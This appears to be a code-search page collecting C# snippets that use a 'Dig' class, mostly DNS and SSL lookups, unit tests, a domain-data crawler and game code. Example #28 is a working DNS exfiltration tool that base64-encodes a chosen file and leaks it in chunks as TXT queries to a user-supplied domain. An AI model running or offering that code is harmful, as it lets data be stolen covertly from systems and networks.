Example #1
0
        public void DigMXRecord()
        {
            Dig             dig     = new Dig();
            List <RecordMX> records = dig.GetMXRecord("godaddy.com");

            Assert.IsNotNull(records);
            Assert.IsTrue(records.Count > 0);
            Debug.WriteLine(records[0].EXCHANGE);
            Assert.IsTrue(records[0].EXCHANGE.Contains("outlook"));
        }
Example #2
0
        public void DigMXRecord()
        {
            Dig             dig     = new Dig();
            List <MXRecord> records = dig.GetMXRecord("TOMHACK.COM");

            Assert.IsNotNull(records);
            Assert.IsTrue(records.Count > 0);
            Debug.WriteLine(records[0].ToString());
            Assert.IsTrue(records[0].ToString().Contains("secureserver"));
        }
Example #3
0
        public void IPLookup_FromZoneSample()
        {
            Dig dig = new Dig();
            //copy the file because we are going to delete as we go instead of holding a million records in memory
            string masterFile = "PortSample.txt";
            string tempFile   = "temp_" + masterFile;
            string ipFile     = "tempIP_" + masterFile;
            string tempLine   = string.Empty;


            List <string> webhostList = new List <string>();
            List <string> errorList   = new List <string>();
            string        header      = string.Empty;
            int           counter     = 0;

            // Ensure that the target does not exist.
            File.Copy(masterFile, tempFile, true);
            try
            {
                //read lines from tempfile & parse it
                using (StreamReader r = new StreamReader(ipFile))
                {
                    // Use while != null pattern for loop
                    while ((tempLine = r.ReadLine()) != null)
                    {
                        if (!String.IsNullOrWhiteSpace(tempLine))
                        {
                            //we have a line, parse the tabs and call webhost lookups
                            //string[] seperator = { "\t" };
                            string[] seperator = { "|" };
                            string[] cols      = tempLine.Split(seperator, StringSplitOptions.RemoveEmptyEntries);
                            counter++;

                            if (cols.Length > 0)
                            {
                                Utility.WriteToLogFile("ipOnly_" + ipFile, cols[0]);
                            }
                        }
                    }

                    List <string> timeoutList    = webhostList.Where(item => item == "headrequest timed out").ToList();
                    List <string> webtimeoutList = webhostList.Where(item => item == "webhost timed out").ToList();
                }

                File.Delete(tempFile);
            }
            catch (Exception)
            {
                throw;
            }
            //do lookup

            //write data
        }
Example #4
0
 public void AddSpots(Dig spot)
 {
     spots.Add(spot);
     if (spot == null)
     {
         spots.Remove(spot);
     }
     else
     {
         spot.Reset();
     }
 }
        public void DigAShovel_ItsNotMine_ShouldBeTrue()
        {
            var dig = new Dig();

            char[,] board = new char[, ]
            {
                { '1', '1', '1' },
                { '1', 'M', '1' },
                { '1', '1', '1' },
            };
            var result = dig.DigShovel(1, 0, board, 3);

            Assert.True(result);
        }
Example #6
0
        public void DigSSLCert()
        {
            Dig dig = new Dig();

            SSLCert cert = dig.GetSSLVerification("godaddy.com");

            Assert.IsNotNull(cert);
            Assert.IsNotNull(cert.IssuerName);
            Assert.IsNotNull(cert.SubjectType);
            Assert.AreEqual("www.godaddy.com", cert.SubjectType);

            cert = dig.GetSSLVerification("1footout.com");
            Assert.AreEqual(cert.FixedName, "None");
        }
Example #7
0
// Dig ::= "'" Numero "'" ".." "'" Numero "'" ;
    public Dig ParseDig()
    {
        Dig dig = new Dig();

        Log("ParseDig");
        Parse(() => {
            Consume("'");
            dig.Numero0 = ParseNumero();
            Consume("'");
            Consume("..");
            Consume("'");
            dig.Numero1 = ParseNumero();
            Consume("'");
        }).OrThrow("Failed to parse Dig");
        return(dig);
    }
Example #8
0
        /// <summary>
        /// Gets registrars for all companies in our database
        /// </summary>
        internal void GetAllEmailHosts()
        {
            MarketShareDataSource mds = DroneDataSource as MarketShareDataSource;

            if (!Object.Equals(null, mds))
            {
                using (Dig dig = new Dig())
                {
                    var list = mds.GetAllCompanies(MarketShareTypeBitMaskEnum.EmailHost, XMLUtility.GetIntFromAccountNode(Xml, "emailhost/recordcount"));

                    foreach (var company in list)
                    {
                        try
                        {
                            MarketShareDataType marketType = new MarketShareDataType();
                            string url = Utility.CleanUrl(company.Uri.ToString());

                            if (!String.IsNullOrWhiteSpace(url))
                            {
                                WriteToUsageLogFile("Domain:" + url, string.Format("Executing {0}.{1}", ComponentTypeName, MethodInfo.GetCurrentMethod().Name), true);

                                marketType.Value      = dig.GetEmailHostName(url);
                                marketType.DomainId   = company.DomainId;
                                marketType.SampleDate = company.DomainAttributes["SampleDate"];
                                marketType.TypeId     = (int)MarketShareDataTypeEnum.EmailHost;
                                marketType.BitMaskId  = (int)MarketShareTypeBitMaskEnum.EmailHost;

                                if (!string.IsNullOrWhiteSpace(marketType.Value))
                                {
                                    MarketShareDataComponent dc = new MarketShareDataComponent();
                                    dc.MarketShareType = marketType;
                                    DroneDataSource.Process(dc);
                                }
                                else
                                {
                                    Utility.WriteToLogFile(String.Format("SmallBiz_NoEmailHost_{0:M_d_yyyy}", DateTime.Today) + ".log", string.Format("Domain: ,{0}", url));
                                }
                            }
                        }
                        catch (Exception e)
                        {
                            ExceptionExtensions.LogError(e, "EmailHost.GetAllEmailHosts", "Domain: " + company.Uri.ToString());
                        }
                    }
                }
            }
        }
Example #9
0
 public void CheckSpots(Dig spot)
 {
     if (spot.gameObject.renderer.enabled == false || spot.markedForSafety)
     {
         for (int i = 0; i < spots.Count; i++)
         {
             if (spots[i] == spot)
             {
                 spots.Remove(spots[i]);
             }
         }
     }
     if (spots.Count <= 0)
     {
         StartCoroutine(ReturnTimer());
     }
 }
Example #10
0
        internal void Process(string fileName)
        {
            Dig           digMgr = new Dig();
            List <string> tempLines;

            while ((tempLines = Utility.ReadLinesFromFile(fileName, 100, true)).Count() > 0)
            {
                int maxParallel = XMLUtility.GetTextFromAccountNode(Xml, ProcessorName + "/maxparallel").ConvertStringToInt(1);

                Parallel.ForEach(tempLines, new ParallelOptions {
                    MaxDegreeOfParallelism = maxParallel
                }, (tempLine) =>
                {
                    try
                    {
                        if (!String.IsNullOrWhiteSpace(tempLine))
                        {
                            string[] companyEntry = tempLine.Split('|');
                            CompanyRoot cr        = GetFullCompany(companyEntry[1], digMgr);

                            //Add to MSMQ, add will call receive and then ProcessMessage below when to add to DB asynchronously
                            if (!Object.Equals(null, cr) && !string.IsNullOrEmpty(cr.homepage_url))
                            {
                                WriteToUsageLogFile("Domain:" + cr.homepage_url, string.Format("Executing {0}.{1}", ComponentTypeName, MethodInfo.GetCurrentMethod().Name), true);
                                CrunchbaseDataComponent cdc = new CrunchbaseDataComponent();
                                cdc.CompanyLocal            = cr;
                                DroneDataSource.Process(cdc);
                            }
                            else
                            {
                                if (Object.Equals(null, cr) && companyEntry.Length < 3)
                                {
                                    Utility.AddLineToFile(fileName, tempLine + "|retry");
                                }
                            }
                            cr = null;
                        }
                    }
                    catch (Exception e)
                    {
                        ExceptionExtensions.LogError(e, "Crunchbase.Process", "Permalink: " + tempLine);
                    }
                });
            }
        }
Example #11
0
        public void IsIPParked()
        {
            Dig       dig    = new Dig();
            IPAddress record = dig.GetIPAddress("takenbakesites.com");

            bool isParked = IPAddressRange.IsInRange(record);

            IPAddressRange.IsInRange(record);

            Assert.IsTrue(isParked);

            record = dig.GetIPAddress("godaddy.com");

            isParked = IPAddressRange.IsInRange(record);
            IPAddressRange.IsInRange(record);

            Assert.IsTrue(!isParked);
        }
Example #12
0
        private void PanelGameBoard_MouseClick(object sender, MouseEventArgs e)
        {
            int x = e.X;
            int y = e.Y;

            GameStarted?.Invoke(x, y);

            //togle flag
            if (e.Button == MouseButtons.Right)
            {
                FlagToggled?.Invoke(x, y);
            }

            if (e.Button == MouseButtons.Left)
            {
                Dig?.Invoke(x, y);
            }
        }
Example #13
0
        public void DigWRegistrar_PerformanceTest()
        {
            //resolver will cache these, so remove the cache lookup
            Dig dig = new Dig();

            List <string> domainList  = new List <string>();
            List <string> webhostList = new List <string>();

            domainList.Add("coderow.com");
            domainList.Add("slashcommunity.com");
            domainList.Add("vantronix.com");
            domainList.Add("sociofy.com");
            domainList.Add("netconstructor.com");
            domainList.Add("dotfox.com");
            domainList.Add("go.co");
            domainList.Add("1computer.info");
            domainList.Add("andyet.net");
            domainList.Add("p1us.me");
            domainList.Add("10cms.com");
            domainList.Add("1010data.com");
            domainList.Add("1800vending.com");
            domainList.Add("easybacklog.com");
            domainList.Add("abcotechnology.com");
            domainList.Add("abcsignup.com");
            domainList.Add("airtag.com");
            domainList.Add("nuospace.com");
            domainList.Add("brightscope.com");
            domainList.Add("data180.com");

            DateTime endTime;
            DateTime startTime = DateTime.Now;
            Random   rand      = new Random();

            Parallel.For(0, 50, (i) =>
            {
                foreach (var item in domainList)
                {
                    webhostList.Add(dig.GetRegistrar(item));
                }
            });

            endTime = DateTime.Now;
            TimeSpan elapsedTime1 = endTime.Subtract(startTime);
        }
 void Start()
 {
     m_dig      = GetComponent <Dig>();
     m_backpack = GetComponent <InventoryBackpack>();
     for (int i = 0; i < CurrentDigTier - 1; ++i)
     {
         TierItems.RemoveAt(0);
     }
     CurrentDigPower.text = "Dig Power: " + CurrentDigTier;
     if (TierItems.Count > 0)
     {
         UpgradeCost.text = "Cost: " + MaxAmountNeeded + " " + TierItems[0].Name + "s";
     }
     else
     {
         UpgradeCost.text = "MAX LEVEL REACHED";
         UpgradeButton.SetActive(false);
     }
 }
Example #15
0
        public void FindCompanyInLookups()
        {
            Dig dig = new Dig();

            string foundName = dig.GetRegistrar("1computer.info");

            Assert.AreEqual("Network Solutions", foundName);

            //self hosted
            foundName = dig.GetEmailHostName("fash-art.com");
            Assert.AreEqual("Self Hosted", foundName);

            foundName = dig.GetEmailHostName("blooclick.com");
            Assert.AreEqual("ovh systems", foundName.ToLower());

            //email
            foundName = dig.GetEmailHostName("sawyerit.com");
            Assert.AreEqual("Go Daddy", foundName);

            //not found, use record
            foundName = dig.GetDNSHostName("travellution.com");
            Assert.AreEqual("technorail.com", foundName);

            //found, use company name
            foundName = dig.GetDNSHostName("godaddy.com");
            Assert.AreEqual("Go Daddy", foundName);

            //no SSL issuer
            foundName = dig.GetCompanyFromRecordName(dig.GetSSLVerification("cybergeekshop.com").IssuerName, "cybergeekshop.com", DigTypeEnum.SSL);
            Assert.AreEqual("None", foundName);

            //webhost (split AS name with -)
            foundName = dig.GetWebHostName("cybergeekshop.com");
            Assert.AreEqual("Unified Layer", foundName);

            foundName = dig.GetWebHostName("microteksystems.net");
            Assert.AreEqual("SoftLayer", foundName);

            //webhost (splitting AS Name without -)
            foundName = dig.GetWebHostName("eatads.com");
            Assert.AreEqual("Amazon", foundName);
        }
Example #16
0
		public MainForm()
		{
			InitializeComponent();

			SetupComboBox(typeof(QType), this.comboBox1);
			SetupComboBox(typeof(QClass), this.comboBox2);

			dig = new Dig();

			list = new List<QuerySet>();
			QuerySetIndex = -1;

			this.checkBox1.Checked = dig.resolver.Recursion;
			this.checkBox3.Checked = dig.resolver.UseCache;
			this.textBox2.Text = dig.resolver.DnsServers[0].Address.ToString();
			this.textBoxAttempts.Text = dig.resolver.Retries.ToString();
			this.textBoxTimeout.Text = dig.resolver.TimeOut.ToString();

			Console.SetOut(new FeedbackWriter(this.textBox1));
		}
Example #17
0
 public static void ToAttack(this Dig dig, out Attack attack)
 {
     attack = new Attack(dig.damage, dig.pierce, dig.power, Dig.Source.Index);
 }
Example #18
0
        public void DigURL_PerformanceTest()
        {
            //resolver will cache these, so remove the cache lookup
            //dig does a friendly name lookup as well, that can be removed for a VERY slight speed increase over a large #
            Dig dig = new Dig();

            List <string> domainList  = new List <string>();
            List <string> webhostList = new List <string>();
            List <string> errorList   = new List <string>();

            domainList.Add("mprconsultinghk.com");
            domainList.Add("tnipresents.com");
            domainList.Add("kraftymoms.com");
            domainList.Add("paranique.com");
            domainList.Add("eatads.com");
            domainList.Add("travellution.com");
            domainList.Add("bee.com");
            domainList.Add("yahoo.com");
            domainList.Add("google.com");
            domainList.Add("microsoft.com");

            DateTime endTime;
            DateTime startTime = DateTime.Now;
            string   header    = string.Empty;
            int      statCode  = 0;

            startTime = DateTime.Now;
            Parallel.For(0, 100, (i) =>
            {
                foreach (var item in domainList)
                {
                    try
                    {
                        CheckHead(ref statCode, ref header, item);
                    }
                    catch (Exception e)
                    {
                        if (e.Message.Contains("timed out"))
                        {
                            try
                            {
                                CheckHead(ref statCode, ref header, item);
                            }
                            catch (Exception ex)
                            {
                                if (ex.Message.Contains("timed out"))
                                {
                                    errorList.Add("headrequest timed out");
                                }
                            }
                        }
                        else
                        {
                            errorList.Add(e.Message);
                        }
                    }

                    try
                    {
                        //add host to list
                        if (statCode == 301)
                        {
                            webhostList.Add(dig.GetWebHostName(CleanUrl(header)));
                        }
                        else
                        {
                            webhostList.Add(dig.GetWebHostName(item));
                        }
                    }
                    catch (Exception)
                    {
                        webhostList.Add("webhost timed out");
                    }
                }
            });
            endTime = DateTime.Now;
            TimeSpan elapsedTime1 = endTime.Subtract(startTime);

            List <string> timeoutList    = webhostList.Where(item => item == "headrequest timed out").ToList();
            List <string> webtimeoutList = webhostList.Where(item => item == "webhost timed out").ToList();
        }
Example #19
0
 public void InitializeTest()
 {
     _dig = new Dig();
 }
Example #20
0
        private async Task <TreasureList> Dig(Dig dig)
        {
            var digParams = dig;

Restart:
            try
            {
                var request = await this.httpClient.PostAsync($"/dig", new StringContent(JsonConvert.SerializeObject(digParams), Encoding.UTF8, "application/json"));

                if (request.StatusCode == HttpStatusCode.OK)
                {
                    var jsonString = await request.Content.ReadAsStringAsync();

                    return(JsonConvert.DeserializeObject <TreasureList>(jsonString));
                }
                else if ((int)request.StatusCode > 500 && (int)request.StatusCode < 600)
                {
                    goto Restart;
                }
                else if ((int)request.StatusCode == 403)
                {
                    var license = await UpdateLicense();

                    digParams.LicenseID = license.Id;
                    goto Restart;
                }
                else if ((int)request.StatusCode == 404)
                {
                }
            }
            catch (WebException ex)
            {
                if (ex.Message == "Connection refused")
                {
                    goto Restart;
                }
                else
                {
                    throw new Exception(ex.Message);
                }
            }
            catch (TaskCanceledException)
            {
                goto Restart;
            }
            catch (System.IO.IOException ex)
            {
                if (ex.Message == "The response ended prematurely.")
                {
                    goto Restart;
                }
                else
                {
                    throw new Exception(ex.Message);
                }
            }
            catch (HttpRequestException ex)
            {
                if (ex.Message == "The request timed-out." || ex.Message.Contains("Connection refused") || ex.Message == "An error occurred while sending the request.")
                {
                    goto Restart;
                }
                else
                {
                    throw new Exception(ex.Message);
                }
            }
            catch (Exception ex)
            {
                throw new Exception(ex.Message);
            }

            return(null);
        }
Example #21
0
    private void InitHandlers(VerbRoutines verbRoutines)
    {
        Func <string, ObjectRef> byRef = s => state.Objects.Find(s);
        Func <string, ObjectId>  byId  = s => state.Objects.IdOf(s);

        verbRoutines.Add("GO", Go);
        verbRoutines.Add("GET", byRef, Get);
        verbRoutines.Add("TAK", byRef, Get);
        verbRoutines.Add("DRO", byRef, Drop);
        verbRoutines.Add("THR", byRef, Drop);
        verbRoutines.Add("INV", Inventory);
        verbRoutines.Add("I", Inventory);
        verbRoutines.Add("QUI", Quit);

        Look look = new Look(state, PRINT);

        verbRoutines.Add("LOO", byId, Eq(ObjectId.Blank, look.Blank), Else <ObjectId>(look.Any));
        verbRoutines.Add("L", byId, Eq(ObjectId.Blank, look.Blank), Else <ObjectId>(look.Any));
        verbRoutines.Add("EXA", byId, look.Any);

        Read read = new Read(state, PRINT);

        verbRoutines.Add("REA", byId, Eq(ObjectId.Diary, read.Diary), Eq(ObjectId.Dictionary, read.Dictionary), Eq(ObjectId.Bottle, read.Bottle), Else <ObjectId>(read.Unknown));

        Open open = new Open(state, PRINT);

        verbRoutines.Add("OPE", byId, Eq(ObjectId.Box, open.Box), Eq(ObjectId.Cabinet, open.Cabinet), Eq(ObjectId.Case, open.Case), Else <ObjectId>(open.Unknown));

        Pour pour = new Pour(state, PRINT);

        verbRoutines.Add("POU", byId, Eq(ObjectId.Salt, pour.Salt), Eq(ObjectId.Bottle, pour.Formula), Else <ObjectId>(pour.Unknown));

        Climb climb = new Climb(state, PRINT);

        verbRoutines.Add("CLI", byId, Eq(ObjectId.Tree, climb.Tree), Eq(ObjectId.Ladder, climb.Ladder), Else <ObjectId>(climb.Unknown));

        Jump jump = new Jump(state, PRINT);

        verbRoutines.Add("JUM", jump.Any);

        Dig dig = new Dig(state, PRINT);

        verbRoutines.Add("DIG", byId, Eq(Any(ObjectId.Blank, ObjectId.Hole, ObjectId.Ground), dig.Hole), Else <ObjectId>(dig.Unknown));

        Row row = new Row(state, PRINT);

        verbRoutines.Add("ROW", byId, Eq(Any(ObjectId.Boat, ObjectId.Blank), row.Boat), Else <ObjectId>(row.Unknown));

        Wave wave = new Wave(state, PRINT);

        verbRoutines.Add("WAV", byId, Eq(ObjectId.Fan, wave.Fan), Else <ObjectId>(wave.Unknown));

        Leave leave = new Leave(state, PRINT);

        verbRoutines.Add("LEA", byId, leave.Any);
        verbRoutines.Add("EXI", byId, leave.Any);

        Fight fight = new Fight(state, PRINT);

        verbRoutines.Add("FIG", byId, Eq(ObjectId.Blank, fight.Blank), Eq(ObjectId.Guard, fight.Guard), Else <ObjectId>(fight.Unknown));

        Wear wear = new Wear(state, PRINT);

        verbRoutines.Add("WEA", byId, Eq(ObjectId.Gloves, wear.Gloves), Else <ObjectId>(wear.Unknown));
    }
Example #22
0
        public void GetProviders_NoRegisteredProcessors_ReturnsEmptyCollection()
        {
            Dig dig = Dig.Instance;

            dig.GetWebHostName("mybenchcoach.com");
        }
Example #23
0
 public void DigARecord()
 {
     Dig     dig    = new Dig();
     ARecord record = dig.GetARecord("facebook-security-team.com"); //threw obj ref on sever
 }
Example #24
0
 public void DigARecord()
 {
     Dig     dig    = new Dig();
     RecordA record = dig.GetARecord("godaddy.com");
 }
Example #25
0
 public static Attack ToAttack(this Dig dig)
 {
     return(new Attack(dig.damage, dig.pierce, dig.power, Dig.Source.Index));
 }
Example #26
0
        public void DigWebHostName()
        {
            Dig dig = new Dig();

            string record = dig.GetWebHostName("netflix.com");
        }
Example #27
0
        public void WebHostLookup_FromZoneSample()
        {
            Dig dig = new Dig();
            //copy the file because we are going to delete as we go instead of holding a million records in memory
            string masterFile = "PortSample.txt";
            string tempFile   = "temp_" + masterFile;
            string tempLine   = string.Empty;


            List <string> webhostList = new List <string>();
            List <string> errorList   = new List <string>();
            string        header      = string.Empty;
            int           statCode    = 0;
            int           counter     = 0;

            // Ensure that the target does not exist.
            File.Copy(masterFile, tempFile, true);
            try
            {
                //read lines from tempfile & parse it
                using (StreamReader r = new StreamReader(tempFile))
                {
                    // Use while != null pattern for loop
                    while ((tempLine = r.ReadLine()) != null)
                    {
                        if (!String.IsNullOrWhiteSpace(tempLine))
                        {
                            //we have a line, parse the tabs and call webhost lookups
                            //string[] seperator = { "\t" };
                            string[] seperator = { "|" };
                            string[] cols      = tempLine.Split(seperator, StringSplitOptions.RemoveEmptyEntries);
                            counter++;

                            if (cols.Length > 0)
                            {
                                IPAddress addr = null;
                                addr = dig.GetIPAddress(Utility.CleanUrl(cols[0]));
                                if (addr != null)
                                {
                                    header = string.Empty;
                                }
                                statCode = 0;
                                try
                                {
                                    CheckHead(ref statCode, ref header, cols[0]);
                                }
                                catch (Exception)
                                {
                                    errorList.Add("headrequest timed out");
                                }

                                try
                                {
                                    //add host to list
                                    if (statCode == 301)
                                    {
                                        webhostList.Add(dig.GetWebHostName(Utility.CleanUrl(header)));
                                    }
                                    else
                                    {
                                        webhostList.Add(dig.GetWebHostName(cols[0]));
                                    }
                                }
                                catch (Exception)
                                {
                                    webhostList.Add("webhost timed out");
                                }
                            }
                        }
                    }

                    List <string> timeoutList    = webhostList.Where(item => item == "headrequest timed out").ToList();
                    List <string> webtimeoutList = webhostList.Where(item => item == "webhost timed out").ToList();
                }

                File.Delete(tempFile);
            }
            catch (Exception)
            {
                throw;
            }
            //do lookup

            //write data
        }
Example #28
0
        static void Main(string[] args)
        {
            // DEBUG
            //RunTest();


            var arguments = new Dictionary <string, string>();

            try
            {
                foreach (var argument in args)
                {
                    var idx = argument.IndexOf(':');
                    if (idx > 0)
                    {
                        arguments[argument.Substring(0, idx)] = argument.Substring(idx + 1);
                    }
                    else
                    {
                        arguments[argument] = string.Empty;
                    }
                }
            }
            catch (System.Exception ex)
            {
                Console.WriteLine("[-] Exception parsing arguments:");
                Console.WriteLine(ex);
            }

            if (!arguments.ContainsKey("file"))
            {
                Console.WriteLine("[-] Error: No file  was given.");
                Console.WriteLine("Usage: " + usage);
                Environment.Exit(1);
            }

            if (!arguments.ContainsKey("domain"))
            {
                Console.WriteLine("[-] Error: No domain was given.");
                Console.WriteLine("Usage:\r\n" + usage);
                Environment.Exit(1);
            }


            Byte[] bytes = File.ReadAllBytes(arguments["file"]);
            String file  = Convert.ToBase64String(bytes);


            for (int i = 0; i < file.Length - 20; i += 20)
            {
                string reply = String.Empty;
                try
                {
                    Dig myDig = new Dig();

                    myDig.resolver.DnsServer = "192.168.5.5"; // It is fine if the specified dns server doesn't exist

                    System.Net.IPEndPoint ipEndPoint = new System.Net.IPEndPoint((long)(uint)System.Net.IPAddress.NetworkToHostOrder(
                                                                                     (int)System.Net.IPAddress.Parse("5.5.168.192").Address), 53);



                    myDig.resolver.DnsServers    = new[] { ipEndPoint };
                    myDig.resolver.Recursion     = false;
                    myDig.resolver.Retries       = 1;
                    myDig.resolver.TimeOut       = 0;
                    myDig.resolver.TransportType = Heijden.DNS.TransportType.Udp;
                    myDig.resolver.UseCache      = false;
                    string request = file.Substring(i, 20);
                    request += "." + arguments["domain"];

                    myDig.resolver.Query(request, Heijden.DNS.QType.TXT, Heijden.DNS.QClass.IN);
                }
                catch (Win32Exception e)
                {
                    Console.WriteLine(String.Format("[!] Unexpected exception occured: [{0}]", e.Message));
                    return;
                }
            }

            Console.ReadLine();
        }
Example #29
0
        private void DoSSLCheck()
        {
            MarketShareDataSource mds = DroneDataSource as MarketShareDataSource;

            if (!Object.Equals(null, mds))
            {
                int maxParallel = XMLUtility.GetTextFromAccountNode(Xml, ProcessorName + "/maxparallel").ConvertStringToInt(1);
                Dig dig         = new Dig();

                Parallel.ForEach(mds.GetAllCompanies(MarketShareTypeBitMaskEnum.SSLIssuer, XMLUtility.GetIntFromAccountNode(Xml, ProcessorName + "/recordcount"))
                                 , new ParallelOptions {
                    MaxDegreeOfParallelism = maxParallel
                }
                                 , (company, state) =>
                {
                    try
                    {
                        if (Context.ShuttingDown)
                        {
                            state.Break();
                        }

                        MarketShareDataType marketType = new MarketShareDataType();
                        string url = Utility.CleanUrl(company.Uri.ToString());
                        WriteToUsageLogFile("Domain:" + url, string.Format("Executing {0}.{1}", ComponentTypeName, MethodInfo.GetCurrentMethod().Name), true);

                        if (!String.IsNullOrWhiteSpace(url))
                        {
                            SSLCert cert = dig.GetSSLVerification(url);
                            if (!Object.Equals(cert, null))
                            {
                                MarketShareDataComponent dc = new MarketShareDataComponent();

                                //Issuer
                                marketType.Value      = cert.FixedName;
                                marketType.DomainId   = company.DomainId;
                                marketType.SampleDate = company.DomainAttributes["SampleDate"];
                                marketType.TypeId     = (int)MarketShareDataTypeEnum.SSLIssuer;
                                marketType.BitMaskId  = (int)MarketShareTypeBitMaskEnum.SSLIssuer;
                                dc.MarketShareType    = marketType;
                                DroneDataSource.Process(dc);

                                //CertType
                                marketType.Value     = cert.SubjectType;
                                marketType.TypeId    = (int)MarketShareDataTypeEnum.CertificateType;
                                marketType.BitMaskId = (int)MarketShareTypeBitMaskEnum.CertificateType;
                                dc.MarketShareType   = marketType;
                                DroneDataSource.Process(dc);
                            }
                            else
                            {
                                Utility.WriteToLogFile(String.Format("SmallBiz_NoSSLInfo_{0:M_d_yyyy}", DateTime.Today) + ".log", string.Format("Domain: ,{0}", url));
                            }
                        }
                    }
                    catch (Exception e)
                    {
                        ExceptionExtensions.LogError(e, "SSLCheck.DoSSLCheck", "Domain: " + company.Uri.ToString());
                    }
                });
            }
        }
 public static Core() 
 { 
     dig = new Dig(); 
 } 
 void Start()
 {
     m_pAttack       = GetComponent <PlayerAttack>();
     m_dig           = GetComponent <Dig>();
     ToolIcon.sprite = Icons[0];
 }